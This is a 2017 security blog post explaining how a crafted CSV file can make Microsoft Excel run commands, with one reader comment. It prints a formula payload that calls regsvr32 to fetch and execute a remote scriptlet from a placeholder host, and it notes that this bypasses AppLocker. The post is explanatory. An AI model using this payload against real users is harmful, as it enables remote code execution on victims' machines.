xorl %eax, %eax

Microsoft Excel CSV code execution/injection method

with one comment

Yesterday Davo Cossa mentioned this technique in one of his tweets. The idea behind it is to exploit how formulas and CSV parsing is performed by Microsoft Excel in order to achieve remote code execution by tricking the user into opening a specially crafted CSV file. You can see the example malicious CSV below.

fillerText1,fillerText2,fillerText3,=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

And here is how it works. When Microsoft Excel tries to parse a CSV file it adds each comma separated field in a separate cell. So, first cell will be “fillerText1”, the second cell “fillerText2”, and so on. However, the last one in this example will try to insert the following to a cell.

=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

As you probably already know, Microsoft Excel treats the “=” as a special character to indicate the beginning of a formula. So, here is what the above code will actually try to execute on the target system.

regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll

What this does is calling the Microsoft Register Server (regsvr32) in silent mode (/s), unregistering (/u), not calling DLL register server (/n) and passing the required DLL to load via parameter (/i). The passed DLL is “scrobj.dll” which is the Microsoft’s Script Component Runtime and it asks it to fetch and execute the Windows Scriptlet file located at http://RemoteIPAddress/SCTLauncher.sct. Because regsvr32 is part of the Windows operating system it bypasses the AppLocker whitelist and can execute any script from the fetched file on the victim’s system. There is a full analysis of this AppLocker bypass technique here.

Written by xorl

December 11, 2017 at 23:22

Posted in Windows

One Response

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  1. I tried this with Ms 2007, nothing happen

    Krish

    December 14, 2017 at 20:21


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